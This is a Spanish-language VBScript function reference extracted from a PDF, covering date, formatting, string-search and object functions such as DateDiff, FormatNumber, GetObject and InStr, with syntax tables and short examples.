Constante que especifica la primera semana del año. Sin embargo. Consulte la sección Valores para saber cuáles son los valores permitidos. DateDiff para Año ("yyyy") devuelve 1 aunque sólo haya transcurrido un año. Consulte la sección Valores para saber cuáles son los valores permitidos.Puede usar la función DateDiff para determinar cuántos intervalos de tiempo especificados existen entre dos fecha. puede usar DateDiff para calcular el número de días que existen entre dos fechas o el número de semanas que existen entre la fecha actual y el final del año.byethost14. Si no se especifica. el año especificado se convierte en una parte permanente de la fecha. Si fecha1 hace referencia a un punto posterior en el tiempo que fecha2. Valores El argumento intervalo puede tener los siguientes valores: By KarlosVid(ÊÇ) www. Al comparar el 31 de diciembre con el 1 de enero del año inmediatamente posterior. DateDiff cuenta fecha2 si es domingo. la función DateDiff devuelve un número negativo. Expresión de fecha que desea evaluar. pero no cuenta fecha1. Cuando intervaloes igual a Día de la semana ("w"). DateDiff devuelve el número de semanas que existen entre dos fechas. primerdíasemana[. Cuenta fecha2 pero no fecha1. Esto hace posible escribir código que se puede usar en distintos años. Si no se especifica. primerasemanaaño Opcional. fecha[. Por ejemplo. Constante que especifica el día de la semana. laFecha) End Function Función DatePart Descripción Devuelve la parte especificada de una fecha determinada. DateDiff cuenta cuántos lunes hay hasta fecha2. El argumento primerdíasemana afecta a los cálculos que usan los símbolos de intervalo "w" y "ww". aunque sea domingo. puede usar Día del año ("y") o Día ("d"). El siguiente ejemplo usa la función DateDiff para mostrar el número de días que existen entre una fecha especificada y la fecha actual: Function DiferenciaEntreFechas(laFecha) DiferenciaEntreFechas = "Días desde hoy: " & DateDiff("d". Now. la función DateDiff devuelve el número de semanas de calendario que existen entre las dos fechas.com 25 . Opcional. si fecha1 o fecha2 se encierra entre comillas (" ") y omite el año. se asume Domingo. el año actual se inserta en su código cada vez que se evalúa la expresión fecha1 o fecha2. Cuenta cuántos domingos hay entre fecha1 y fecha2. Si fecha1 o fecha2 es un literal de fecha. Consulte la sección Valores para saber cuáles son los valores permitidos.idat. Para calcular el número de días que existen entre fecha1 y fecha2. se asume que la primera semana es la semana del 1 de enero. Sintaxis DatePart(intervalo. si intervalo es Semana ("ww"). Expresión de cadena que es el intervalo de tiempo que desea devolver. Requerido. primerasemanaaño]]) La sintaxis de la función DatePart tiene las siguientes partes: Parte intervalo fecha primerdíasemana Descripción Requerido. Sin embargo. Si fecha1 es lunes.

com 26 . si fecha está encerrada entre comillas (" ") y omite el año. se inserta el año actual en el código cada vez que se evalúa la expresión fecha. Si fecha es un literal de fecha. Sin embargi. el año especificado se convierte en una parte permanente de la fecha. Por ejemplo.byethost14. Comienza con la semana que tiene al menos cuatro días en el nuevo año. Domingo (predeterminado) Lunes Martes Miércoles Jueves Viernes Sábado El argumento primerasemanaaño puede tener los siguientes valores: Constante vbUseSystem vbFirstJan1 vbFirstFourDays vbFirstFullWeek Valor 0 1 2 3 Descripción Usar configuración de API NLS. Comienza con la semana del 1 de enero (predeterminado). puede usar DatePart para calcular el día de la semana o la hora actual. Esto permite escribir código que se puede usar en distintos años. El argumento primerdíasemana afecta a los cálculos que usan los símbolos de intervalo "w" y "ww". By KarlosVid(ÊÇ) www.Valor yyyy q m y d w ww h n s Descripción Año Trimestre Mes Día del año Día Día de la semana Semana del año Hora Minuto Segundo El argumento primerdíasemana puede tener los siguientes valores: Constante vbUseSystem vbSunday vbMonday vbTuesday vbWednesday vbThursday vbFriday vbSaturday Valor 0 1 2 3 4 5 6 7 Descripción Usar configuración de API NLS.idat. Comienza con la primera semana completa del nuevo año. Comentarios Puede usar la función DatePart para evaluar una fecha y devolver un intervalo de tiempo específico.

meses o años anteriores o posteriores a una fecha determinada. se incrementa a la siguiente unidad mayor según sea adecuado. o si la fecha especificada por los tres argumentos. 1.Este ejemplo recibe una fecha y.768 y 32. con la función DatePart. laFecha) End Function Función DateSerial Descripción Devuelve un valor Variant de subtipo Date para un año. Sin embargo. es decir. 31 de mayo de 1980. que dependen de la fecha del año en la que se aplique. también puede especificar fechas relativas para cada argumento mediante cualquier expresión numérica que representa alguna cantidad de días. Para el argumento año.com 27 . MiFecha2 MiFecha1 = DateSerial(1970. Sin embargo. los valores comprendidos entre 0 y 99. Para todos los demás argumentos año. MiFecha2 = DateSerial(1990 . Función DateValue By KarlosVid(ÊÇ) www. se evalúa como un mes y varios días. El siguiente ejemplo usa expresiones numéricas en lugar de números de fecha absolutos.767. Cuando cualquier argumento supera el intervalo aceptado para ese argumento. la función DateSerial devuelve una fecha que es el día anterior al primer día (1 – 1) de dos meses antes de agosto (8 – 2) de 10 años anteriores a 1990 (1990 – 10). Function ObtenerTrimestre(laFecha) ObtenerTrimestre = DatePart("q". día) La sintaxis de la función DateSerial tiene los siguientes argumentos: Parte año mes día Descripción Número entre 100 y 9999. 1 . como el 31 de diciembre de 1991. entre 1 y 31 para los días y entre 1 y 12 para los meses. se interpretan como los años 1900 a 1999.byethost14. 8 . directamente o a través de la expresión. no está dentro del intervalo aceptable de fechas. Aquí. En otras palabras. inclusive. use un año completo de cuatro dígitos (por ejemplo.1) ' Devuelve 31 de mayo de 1980. Cualquier expresión numérica. mes y día específicos. se produce un error. Por ejemplo. Cualquier expresión numérica. 1800). Comentarios Para especificar una fecha. 1) ' Devuelve 1 de enero de 1970. ambos incluidos. o una expresión numérica. mes. Sintaxis DateSerial(año.idat.2. Dim MiFecha1. muestra el trimestre del año en el que se produce.10. el intervalo de números para cada argumento de DateSerial debe estar dentro del intervalo aceptado para la unidad. si especifica 35 días. si cualquier argumento simple está fuera del intervalo comprendido entre -32.

El siguiente ejemplo usa la función Day para obtener el día del mes a partir de una fecha especificada: Dim MiDia MiDia = Day("19 de octubre de 1962") ' MiDia contiene 19. Si fecha contiene Null.com 28 . Por ejemplo. Sintaxis Day(fecha) El argumento fecha es cualquier expresión que puede representar una fecha. se devuelve Null. Sin embargo. el argumento fecha es una expresión de cadena que representa una fecha comprendida entre el 1 de enero del año 100 hasta el 31 de diciembre del año 9999. en formato largo o abreviado. Dim MiFecha MiFecha = DateValue("11 de septiembre de 1963") ' Devuelve una fecha. en ese intervalo.Descripción Devuelve un valor Variant del subtipo Date. Si se omite la parte del año de fecha. una hora o ambos. por ejemplo. DateValue también reconoce 30 de diciembre de 1991 y 30 dic de 1991.byethost14. El siguiente ejemplo usa la función DateValue para convertir una cadena en una fecha. fecha también puede ser cualquier expresión que pueda representar una fecha. By KarlosVid(ÊÇ) www. DateValue reconoce el orden para el día. Función Day Descripción Devuelve un número entero entre 1 y 31. Comentarios Si el argumento fecha incluye información de hora. si fecha incluye información no válida de hora (como "89:98").idat. Sin embargo. DateValue no la devuelve. DateValue usa el año actual de la fecha del sistema de su equipo. mes y año según el formato de fecha corta que especificó para su sistema. Función Eval Descripción Evalúa una expresión y devuelve el resultado. además de reconocer 30/12/1991 y 30/12/91. ambos incluidos. que representa el día del mes. También puede usar literales de fecha para asignar una fecha directamente a una variable Variant. se produce un error. Sintaxis DateValue(fecha) Normalmente. Si fecha es una cadena que sólo incluye números separados por separadores de fecha válidos. DateValue también reconoce fechas no ambiguas que contiene nombre de meses. MiFecha = #9/11/63#.

Si es así. Nota La función Exp complementa la acción de la función Log y a veces se le llama antilogaritmo El siguiente ejemplo usa la función Exp para devolver e elevado a una potencia: By KarlosVid(ÊÇ) www.782712893. El método Eval siempre utiliza la segunda interpretación. no hay confusión entre la asignación y la comparación porque el operador assignment (=) es diferente del operador de comparación (==). x = y se puede interpretar de dos maneras. el resultado es True. donde el valor de y se asigna a x.byethost14. La constante e aproximadamente igual a 2. Nota En Microsoft® JScript™. Variable a la que se asigna el valor devuelto. Observaciones En VBScript. se produce un error. La primera es una instrucción de asignación.. Si no se especifica el resultado. si no..Sintaxis [resultado = ]Eval(expresión) La sintaxis de la función Eval consta de las siguientes partes: Parte resultado Descripción Opcional. el resultado es False.718282. expresión Necesario. Sintaxis Exp(número) El argumento número puede ser cualquier expresión numérica válida. RndNum RndNum = Int((100) * Rnd(1) + 1) Guess = CInt(InputBox("Escriba su estimación aproximada:".0)) End If Loop Until Guess = 0 End Sub Función Exp Descripción Devuelve e (la base de los logaritmos naturales) elevado a una potencia. mientras que la instrucción Execute siempre utiliza la primera. La segunda interpretación es como una expresión que prueba si x e y tienen el mismo valor. considere si utilizar la instrucción Execute en su lugar. Una cadena que contenga cualquier expresión permitida de VBScript. El ejemplo siguiente muestra la utilización de la función Eval: Sub AdivinaNúmero Dim Guess.0)) Do If Eval("Guess = RndNum") Then MsgBox "¡Enhorabuena! ¡Lo adivinó!" Exit Sub Else Adivina = CInt(InputBox("¡Lo siento! Inténtelo de nuevo.".idat. Comentarios Si el valor de número supera 709.com 29 .

MiSenoH ' Define el ángulo en radianes.Dim MiAngulo. Opcional.com 30 . Comparación]]) La sintaxis de la función Filter tiene las siguientes partes: Parte Descripción CadenasDeEntrada Requerido. Opcional. "Lun") ' MiIndice(0) contiene "Lunes" By KarlosVid(ÊÇ) www.Exp(-1 * MiAngulo)) / 2 Función Filter Descripción Devuelve una matriz basada en cero que contiene un subconjunto de una matriz de cadena basada en un criterio de filtro especificado.idat. Sintaxis Filter(CadenasDeEntrada. Valor[. MiAngulo = 1. Cadena que se va a buscar. Valor de tipo Boolean que indica si se deben devolver subcadenas que incluyen o excluyen Valor. Si Incluir es True. Consulte la sección Valores para saber cuáles son los valores permitidos. Comentarios Si no se encuentran coincidencias de Valor dentro de CadenasDeEntrada. Incluir[. El siguiente ejemplo usa la función Filter para devolver la matriz que contiene el criterio de búsqueda "Lun": Dim MiIndice Dim MiMatriz (3) MiMatriz(0) = "Domingo" MiMatriz(1) = "Lunes" MiMatriz(2) = "Martes" MiIndice = Filter(MiMatriz. Filter devuelve el subconjunto de la matriz que contiene Valor como subcadena. Si Incluires False. MiSenoH = (Exp(MiAngulo) . Se produce un error si CadenasDeEntrada es Null o si no es una matriz unidimensional. Filter devuelve una matriz vacía. Filter devuelve el subconjunto de la matriz que no contiene Valor como subcadena. Valor numérico que indica el tipo de comparación de cadena que se debe usar. Comparación Valores El argumento Comparación puede tener los siguientes valores: Constante vbBinaryCompare vbTextCompare Valor 0 1 Descripción Realiza una comparación binaria. Matriz unidimensional de cadenas en la que se va a buscar.3 ' Calcula el seno hiperbólico. La matriz devuelta por la función Filter sólo tiene los elementos necesarios para contener el número de elementos encontrados. Realiza una comparación de texto.byethost14. Valor Incluir Requerido.

2) ' Devuelve 99. MiNumero = Fix(-99.8) ' Devuelve 99.4 a -9.2) ' Devuelve -99. By KarlosVid(ÊÇ) www. Int convierte -8.4 a -8. Función FormatCurrency Descripción Devuelve una expresión con formato como una valor de moneda.IncluirDígitoInicio [.GrupoDígitos]]]]) La sintaxis de la función FormatCurrency tiene las siguientes partes: Parte Expresión NúmDígitosDespuésDeDecimal Descripción Requerido. Int devuelve el primer entero negativo menor o igual a número. Expresión a la que se va a aplicar el formato.8) ' Devuelve -99. MiNumero = Fix(-99. Valor numérico que indica cúantos lugares se muestran a la derecha del decimal. y Fix convierte -8.byethost14. Opcional. El valor predeterminado es -1.idat. que usa el símbolo de moneda definido en el panel de control del sistema.8) ' Devuelve -100. se devuelve Null. mientras que Fix devuelve el primer entero negativo mayor o igual a número. Comentarios Int y Fix quitan la parte fraccional de número y devuelven el valor entero resultante.UsarParéntesisParaNúmerosNegativos [. Sintaxis FormatCurrency(Expresión[. que indica que se usa la configuración regional del equipo. MiNumero = Fix(99. MiNumero = Int(-99. MiNumero = Int(-99.2) ' Devuelve -100. Por ejemplo. Si número contiene Null.com 31 .Funciones Int y Fix Descripción Devuelve la parte entera de un número.NúmDígitosDespuésDeDecimal [. La diferencia entre Int y Fix es que si número es negativo. Fix(número) es equivalente a: Sgn(número) * Int(Abs(número)) Los siguientes ejemplo muestran cómo devuelven partes enteras de números las funciones Int y Fix: MiNumero = Int(99. Sintaxis Int(número) Fix(número) El argumento número puede ser cualquier expresión numérica válida.

Consulte la sección Valores para saber cuáles son los valores permitidos. FormatoConNombre]) La sintaxis de la función FormatDateTime tiene las siguientes partes: Parte Fecha Descripción Requerido. Consulte la sección Valores para saber cuáles son los valores permitidos. Constante de tres estados que indica si se deben encerrar o no los valores negativos entre paréntesis. Valor numérico que indica el formato de fecha y hora usado. Valores By KarlosVid(ÊÇ) www. Sintaxis FormatDateTime(Fecha[.com 32 . FormatoConNombre Opcional. Constante de tres estados que indica si se deben agrupar o no los números con el delimitador de grupos especificado en la configuración regional del equipo.00.IncluirDígitoInicio Opcional.idat. Si se omite. Función FormatDateTime Descripción Devuelve una expresión con formato de fecha u hora. UsarParéntesisParaNúmerosNegativos Opcional. El siguiente ejemplo usa la función FormatCurrency para dar formato de moneda a la expresión y asignarlo a MiMoneda: Dim MiMoneda MiMoneda = FormatCurrency(1000) ' MiMoneda contiene $1000. excepto el cero inicial que se obtiene de la ficha Número. Nota Toda la información de configuración se obtiene de la ficha Moneda de Configuración regional. Comentarios Cuando se omiten uno o más argumentos opcionales. Valores Los argumentos IncluirDígitoInicio.byethost14. UsarParéntesisParaNúmerosNegativos y GrupoDígitos tienen los siguientes valores: Constante TristateTrue TristateFalse TristateUseDefault Valor -1 0 -2 Descripción True False Usa la configuración regional del equipo. Constante de tres estados que indica si se debe mostrar o no un cero inicial para valores fraccionarios. Consulte la sección Valores para saber cuáles son los valores permitidos. se usa vbGeneralDate. los valores de los argumentos omitidos los proporciona la configuración regional del equipo. La posición del signo de moneda relativa al valor de moneda se determina con la configuración regional del sistema. Expresión de fecha a la que se va a aplicar el formato. GrupoDígitos Opcional.

IncluirDígitoInicio UsarParéntesisParaNúmerosNegativos Opcional.com 33 . la muestra con formato de hora largo. ObtenerFechaActual = FormatDateTime(Date.byethost14. Opcional. Muestra una hora con el formato de 24 horas (hh:mm). vbLongDate vbShortDate vbLongTime vbShortTime 1 2 3 4 Comentarios El siguiente ejemplo usa la función FormatDateTime para dar formato de fecha larga a la expresión y asignarla a MiFechaHora: Function ObtenerFechaActual ' FormatDateTime da formato a Date como fecha larga. Si está presente. Muestra una hora con el formato de hora especificado en la configuración regional del equipo.IncluirDígitoInicio [.El argumento FormatoConNombre tiene los siguientes valores: Constante vbGeneralDate Valor 0 Descripción Muestra una fecha o una hora. Constante de tres estados que indica si se deben encerrar o no los valores negativos entre paréntesis. Valores By KarlosVid(ÊÇ) www. Muestra una fecha con el formato de fecha corta especificado en la configuración regional del equipo. la muestra con formato de fecha corta. se muestran ambas partes. Si hay una parte que sea fecha. GrupoDígitos Opcional.idat. Valor numérico que indica cúantos lugares se muestran a la derecha del decimal.NúmDígitosDespuésDeDecimal [.UsarParéntesisParaNúmerosNegativos [. Opcional. Consulte la sección Valores para saber cuáles son los valores permitidos. Expresión a la que se va a aplicar formato. 1) End Function Función FormatNumber Descripción Devuelve una expresión con formato de número. El valor predeterminado es -1. Si hay una parte que sea hora. Sintaxis FormatNumber(Expresión [. Consulte la sección Valores para saber cuáles son los valores permitidos. Consulte la sección Valores para saber cuáles son los valores permitidos. Constante de tres estados que indica si se deben agrupar o no los números con el delimitador de grupos especificado en el Panel de control. Constante de tres estados que indica si se debe mostrar o no un cero inicial para valores fraccionarios. que indica que se usa la configuración regional del equipo.GrupoDígitos]]]]) La sintaxis de la función FormatNumber tiene las siguientes partes: Parte Expresión NúmDígitosDespuésDeDecimal Descripción Requerido. Muestra una fecha con el formato de fecha larga especificado en la configuración regional del equipo.

GrupoDígitos Opcional. UsarParéntesisParaNúmerosNegativos y GrupoDígitos tienen los siguientes valores: Constante TristateTrue TristateFalse TristateUseDefault Valor -1 0 -2 Descripción True False Usa la configuración regional del equipo. Constante de tres estados que indica si se debe mostrar o no un cero inicial para valores fraccionarios.com 34 .4) ' Da formato a MiSecante para que tenga cuatro lugares decimales.NúmDígitosDespuésDeDecimal [. El siguiente ejemplo usa la función FormatNumber para dar formato a un número para que tenga cuatro lugares decimales: Function EjemploDeFormatNumber Dim MiAngulo. MiSecante = 1 / Cos(MiAngulo) ' Calcula la secante. los valores de los argumentos omitidos los proporciona la configuración regional del equipo. Constante de tres estados que indica si se deben encerrar o no los valores negativos entre paréntesis.3 ' Define un ángulo en radianes. Constante de tres estados que indica si se deben agrupar o no By KarlosVid(ÊÇ) www. Consulte la sección Valores para saber cuáles son los valores permitidos. Consulte la sección Valores para saber cuáles son los valores permitidos. Opcional. MiSecante. Comentarios Cuando se omiten uno o más de los argumentos opcionales.Los argumentos IncluirDígitoInicio. Valor numérico que indica cúantos lugares se muestran a la derecha del decimal.byethost14.IncluirDígitoInicio [. EjemploDeFormatNumber = FormatNumber(MiSecante.idat. que indica que se usa la configuración regional del equipo. Nota Toda la información de configuración y valores se obtiene de la ficha Número de Configuración regional. El valor predeterminado es -1.GrupoDígitos]]]]) La sintaxis de la función FormatPercent tiene las siguientes partes: Parte Expresión NúmDígitosDespuésDeDecimal Descripción Requerido. IncluirDígitoInicio UsarParéntesisParaNúmerosNegativos Opcional. End Function Función FormatPercent Descripción Devuelve una expresión con formato de porcentaje (multiplicada por 100) con una carácter % inicial. Sintaxis FormatPercent(Expresión[.UsarParéntesisParaNúmerosNegativos [. Expresión a la que se va a aplicar formato. Opcional. MiNumero MiAngulo = 1.

los valores de los argumentos omitidos los proporciona la configuración regional del sistema.los números con el delimitador de grupos especificado en el Panel de control. String.25%.com 35 . Tipo o clase de objeto que desea crear. Requerido. Sintaxis GetObject([nombrederuta] [. String.byethost14. Consulte la sección Valores para saber cuáles son los valores permitidos. Ruta y nombre completos del archivo que contiene el objeto que desea recuperar. Si se omite nombrederuta. UsarParéntesisParaNúmerosNegativos y GrupoDígitos tienen los siguientes valores: Constante TristateTrue TristateFalse TristateUseDefault Valor -1 0 -2 Descripción True False Usa la configuración regional del equipo. Valores Los argumentos IncluirDígitoInicio. clase]) La sintaxis de la función GetObject tiene las siguientes partes: Parte Descripción nombrederuta Opcional. El siguiente ejemplo usa la función FormatPercent para dar formato a una expresión como porcentaje: Dim MiPorcentaje MiPorcentaje = FormatPercent(2/32) ' MiPorcentaje contiene 6. Comentarios By KarlosVid(ÊÇ) www. Nombre de la aplicación que proporciona el objeto. clase Opcional. se requiere clase.tipodeobjeto y tiene las siguientes partes: Parte nombredeaplicación tipodeobjeto Descripción Requerido. String. Nota Toda la información de configuración y valores se obtiene de la ficha Número de Configuración regional. El argumento claseusa la sintaxis nombredeaplicación. Clase del objeto. String. Función GetObject Descripción Devuelve una referencia a un objeto de Automatización desde un archivo.idat. Comentarios Cuando se omiten uno o más argumentos opcionales.

Si no hay una instancia actual y no desea iniciar el objeto con un archivo cargado. un dibujo puede admitir tres tipos de objeto distintos: un objeto Application. GetObject siempre devuelve la misma instancia cuando se llama con una sintaxis con cadena de longitud cero ("") y produce un error si se omite el argumento nombrederuta. Sin embargo. independientemente del número de veces que se ejecute CreateObject. GetObject devuelve un objeto activo del tipo especificado.Use la función GetObject para tener acceso a un objeto de automatización desde un archivo y asignar el objeto a una variable de objeto.DRAWING") En el ejemplo anterior. Por ejemplo. Una vez activado un objeto. y todos forman parte del mismo archivo. basado en el nombre de archivo proporcionado. Con un objeto de una única instancia. se inicia la aplicación asociada con el nombre de ruta especificado y el objeto del archivo especificado se activa. By KarlosVid(ÊÇ) www.InsertText 9.SaveAs "C:\DIBUJOS\EJEMPLO.com 36 .CAD") Cuando se ejecuta este código.CAD: Set ObjetoCapa = GetObject("C:\CAD\SCHEMA. Por ejemplo: MiObjeto.Line 9. En el ejemplo anterior. "FIGMENT. consulte la documentación de la aplicación que creó el objeto. se produce un error. se tiene acceso a las propiedades y métodos del nuevo objeto con la variable de objeto MiObjeto. Para obtener información acerca de cómo crear esta cadena. Si se omite el argumento nombrederuta. Por ejemplo: Dim CADObject Set CADObject = GetObject("C:\CAD\SCHEMA. 100. se hace referencia a él en el código mediante la variable de objeto definida. Si un objeto se ha registrado como un objeto de una única instancia.nombreEvento = GetRef(nombreProc) La sintaxis de la función GetRef consta de las siguientes partes: Parte objeto Descripción Necesario. Podría usar el siguiente código para activar una capa de un dibujo llamado SCHEMA. Para especificar qué objeto desea activar en un archivo. sólo se crea una instancia del objeto. Función GetRef Descripción Devuelve una referencia a un procedimiento que se puede enlazar a un evento. use el argumento opcional clase." MiObjeto. Agregue un signo de admiración (!) al final del nombre del archivo y.byethost14. Si nombrederuta es una cadena de longitud cero (""). Si no existe ningún objeto del tipo especificado. GetObject devuelve una nueva instancia de objeto del tipo especificado. "Hola mundo. la automatización determina la aplicación que debe iniciar el objeto para activarlo. agregue una cadena que identifique la parte del archivo que desea activar. Por ejemplo: Dim MiObjeto Set MiObjeto = GetObject("C:\DIBUJOS\EJEMPLO. Sintaxis Set objeto. a continuación. 90 MiObjeto. en una aplicación de dibujo podría tener varias capas de un dibujo almacenado en un archivo. Use la instrucción Set para asignar el objeto devuelto por GetObject a la variable de objeto. FIGMENT es el nombre de una aplicación de dibujo y DRAWING es uno de los tipos de objeto que admite. use la función CreateObject. Nombre del objeto con el que se asocia el evento.CAD!Layer3") Si no especifica la clase de objeto. Por ejemplo. Algunas aplicaciones le permiten activar parte de un archivo.DRW".idat. es posible que algunos archivos admitan más de una clase de objeto.DRW" Nota Use la función GetObject cuando hay una instancia actual del objeto o si desea crear el objeto con un archivo cargado. un objeto Drawing y un objeto Toolbar.

MiHex = Hex(10) ' Devuelve A. Comentarios Si número no es un número entero.evento nombreProc Necesario. Hasta ocho caracteres hexadecimales.idat. Nombre del evento al que se va a enlazar la función.Onload = GetRef("PruebeGetRef") </SCRIPT> Función Hex Descripción Devuelve una cadena que representa el valor hexadecimal de un número. Necesario. Observaciones La función GetRef le permite conectar un procedimiento VBScript (Function o Sub) a cualquier evento disponible en sus páginas DHTML (de HTML dinámico).com 37 . El siguiente ejemplo usa la función Hex para devolver el valor hexadecimal de un número: Dim MiHex MiHex = Hex(5) ' Devuelve 5. Cadena que contiene el nombre del procedimiento Sub o Function que se asocia con el evento. se llama puntero de función a la funcionalidad que proporciona GetRef. El ejemplo siguiente muestra la utilización de la función GetRef: <SCRIPT LANGUAGE="VBScript"> Function PruebaGetRef() Dim Splash Splash = "PruebaGetRef Versión 1. Puede representar números hexadecimales directamente precediendo los números en el intervalo adecuado con &H. By KarlosVid(ÊÇ) www.byethost14. Por ejemplo. El modelo de objetos DHTML proporciona información acerca de qué eventos están disponibles para sus diversos objetos. Sintaxis Hex(número) El argumento número es cualquier expresión válida. se señala la dirección de un procedimiento que ejecutar cuando ocurre el evento especificado.0" & vbCrLf Splash = Splash & Chr(169) & " Organización 1998 " MsgBox Splash End Function Set Window. Si número es Null Empty Cualquier otro número Hex devuelve Null. es decir. &H10 representa 16 decimal en notación hexadecimal. Cero (0). se redondea al número entero más cercano antes de evaluarlo. En otros lenguajes de programación y de secuencias de comandos.

título][. aproximadamente. La longitud máxima de solicitud es.MiHex = Hex(459) ' Devuelve 1CB. Función InputBox Descripción Muestra una solicitud en un cuadro de diálogo. Si omite título. posx][.byethost14. Si solicitud consta de más de una línea. en twips. el cuadro de texto se muestra vacío. que representa la hora del día. archivodeayuda. Expresión numérica que especifica. MiHora MiHoraCompleta = Now MiHora = Hour(MiHoraCompleta) ' MiHora contiene el número ' que representa la hora actual. El siguiente ejemplo usa la función Hour para obtener la hora a partir de la hora actual: Dim MiHoraCompleta. contexto]) La sintaxis de la función InputBox tiene los siguientes argumentos: Parte solicitud Descripción Expresión de cadena mostrada como mensaje en el cuadro de diálogo. la distancia vertical desde el borde superior del cuadro de diálogo hasta el borde superior de la pantalla.com 38 . la distancia horizontal desde el borde izquierdo del cuadro de diálogo hasta el borde izquierdo de la pantalla. el cuadro de diálogo se centra horizontalmente. Función Tour Descripción Devuelve un número entero entre 0 y 23. Expresión de cadena que se muestra en la barra de título del cuadro de diálogo. aproximadamente a la altura de un tercio de la pantalla. 1024 caracteres. predeterminado][. título predeterminado Expresión de cadena en el cuadro de texto que aparece como respuesta predeterminada si no se proporciona ningún otro texto.idat. espera a que el usuario escriba texto o haga clic en un botón y devuelve el contenido del cuadro de texto. un carácter de avance de línea (Chr(10)) o la combinación de retorno de carro y avance de línea (Chr(13) & Chr(10)) entre cada línea. dependiendo del ancho de los caracteres usados. posy][. en twips. Si se proporciona archivodeayuda. ambos incluidos. Si se omite posx. también se debe By KarlosVid(ÊÇ) www. Si hora contiene Null. el cuadro de diálogo se centra verticalmente. puede separar las líneas con un carácter de retorno de carro (Chr(13)). se devuelve Null. Sintaxis Hour(hora) El argumento hora es cualquier expresión que pueda representar una hora. Si omite predeterminado. posy archivodeayuda Expresión de cadena que identifica el archivo de Ayuda que se va a usar para proporcionar Ayuda contextual para el cuadro de diálogo. el nombre de la aplicación se muestra en la barra de título. Si se omite posy. posx Expresión numérica que especifica. Sintaxis InputBox(solicitud[.

Si inicio contiene Null.com 39 . comparación]) La sintaxis de la función InStr tiene los siguientes argumentos: Parte inicio Descripción Opcional. Expresión de cadena en la que se busca. Comentarios Cuando se proporcionan archivodeayuda y contexto. Valores devueltos By KarlosVid(ÊÇ) www. se agrega. Requerido. contexto Expresión numérica que identifica el número de contexto de Ayuda asignado por el creador de la Ayuda al tema de Ayuda adecuado. cadena1 cadena2 comparación Opcional. Sintaxis InStr([inicio. Requerido. se realiza una comparación binaria. Si se omite. El siguiente ejemplo usa la función InputBox para mostrar un cuadro de entrada y asigna la cadena a la variable Entrada: Dim Entrada Entrada = InputBox("Escriba su nombre") MsgBox ("Escribió: " & Entrada) Función InStr Descripción Devuelve la posición de la primera coincidencia de una cadena dentro de otra. Expresión de cadena buscada. automáticamente. Valor numérico que indica el tipo de comparación que se va a usar al evaluar subcadenas.idat. Si el usuario hace clic en Cancelar. cadena2[. Si se proporciona contexto. Expresión numéricaque establece la posición inicial para cada búsqueda. ]cadena1. la función devuelve una cadena de longitud cero (""). un botón de Ayuda al cuadro de diálogo. Si se omite. la búsqueda comienza en la posición del primer carácter. Consulte la sección Valores para saber cuáles son los valores permitidos. también se debe proporcionar archivodeayuda. Realiza una comparación de texto. la función InputBox devuelve lo que esté en el cuadro de texto. se produce un erro. Si el usuario hace clic en Aceptar o si presiona ENTRAR.proporcionar contexto. El argumento inicio se requiere si se especifica comparación.byethost14. Valores El argumento comparación puede tener los siguientes valores: Constante vbBinaryCompare vbTextCompare Valor 0 1 Descripción Realiza una comparación binaria.

Función InStrRev Descripción Devuelve la posición de una coincidencia de una cadena en otra. Expresión de cadena en la que se busca. Si inicio contiene Null. CaracterBusqueda.idat. CadenaBusqueda. CaracterBusqueda = "P" ' Buscar "P". MiPos CadenaBusqueda ="XXpXXpXXPXXP" ' Cadena en la que se busca. MiPos = Instr(1. InStrB devuelve la posición del byte. Devuelve 6. 1) ' Una comparación de texto que comienza en la ' posición 4. "W") ' Una comparación binaria empieza en la posición 1. que significa que la búsqueda comienza en la posición del último carácter. cadena2[. se produce un error. desde el final de la cadena. Expresión numérica que establece el punto inicial de cada búsqueda. Nota La función InStrB se usa con los datos de tipo Byte contenidos en una cadena. En lugar de devolver la posición del carácter de la primera coincidencia de una cadena dentro de otra. 0) ' Una comparación binaria que comienza en la ' posición 1.com 40 . CaracterBusqueda) ' Devuelve 9. Devuelve 9. MiPos = Instr(4. By KarlosVid(ÊÇ) www. se usa 1. Opcional. CadenaBusqueda. MiPos = Instr(1. Si se omite. MiPos = Instr(CadenaBusqueda. CaracterBusqueda. comparación]]) La sintaxis de la función InStrRev tiene las siguientes partes: Parte cadena1 cadena2 inicio Descripción Requerido.byethost14. inicio[. Expresión de cadena que se busca.La función InStr devuelve los siguientes valores: Si cadena1 es de longitud cero cadena1 es Null cadena2 es de longitud cero cadena2 es Null cadena2 no se encuentra cadena2 se encuentra dentro de cadena1 inicio > Len(cadena2) InStr devuelve 0 Null inicio Null 0 Posición en la que se encuentra la coincidencia 0 Comentarios Los siguientes ejemplos usan InStr para buscar una cadena: Dim CadenaBusqueda. Requerido. CaracterBusqueda. ' Una comparación es binaria de forma predeterminada ' (se omite el último argumento). ' Devuelve 0 ("W" no se encuentra). CadenaBusqueda. Devuelve 9. Sintaxis InStrRev(cadena1.

Devuelve 0. Sintaxis By KarlosVid(ÊÇ) www. 0) ' Una comparación binaria que comienza en la ' posición 10. se realiza una comparación binaria. CaracterBusqueda. Si se omite. MiPos = InstrRev(CadenaBusqueda. MiPos CadenaBusqueda ="XXpXXpXXPXXP" ' Cadena en la que se va a buscar. -1. Nota La sintaxis de la función InStrRev no es igual a la sintaxis de la función InStr. Valores El argumento comparación puede tener los siguientes valores: Constante vbBinaryCompare vbTextCompare Valor 0 1 Descripción Realiza una comparación binaria. Devuelve 12. Función IsArray Descripción Devuelve un valor de tipo Boolean que indica si una variable es o no una matriz. 10. MiPos = InstrRev(CadenaBusqueda. CaracterBusqueda. CaracterBusqueda = "P" ' Buscar "P". Consulte la sección Valores para saber cuáles son los valores permitidos. Realiza una comparación de texto. Valor numérico que indica el tipo de comparación que se va a usar al evaluar subcadenas. CaracterBusqueda. Valores devueltos InStrRev devuelve los siguientes valores: Si cadena1 es de longitud cero cadena1 es Null cadena2 es de longitud cero cadena2 es Null cadena2 no se encuentra cadena2 se encuentra dentro de cadena1 inicio > Len(cadena2) InStrRev devuelve 0 Null inicio Null 0 Posición en la que se encuentra la coincidencia 0 Comentarios Los siguientes ejemplos usan la función InStrRevpara buscar una cadena: Dim CadenaBusqueda. Devuelve 9.idat. 1) ' Una comparación de texto que comienza en ' la última posición. 8) ' Una comparación es binaria de forma predeterminada (se omite ' el último argumento).comparación Opcional.com 41 . CaracterBusqueda. MiPos = InstrRev(CadenaBusqueda.byethost14.

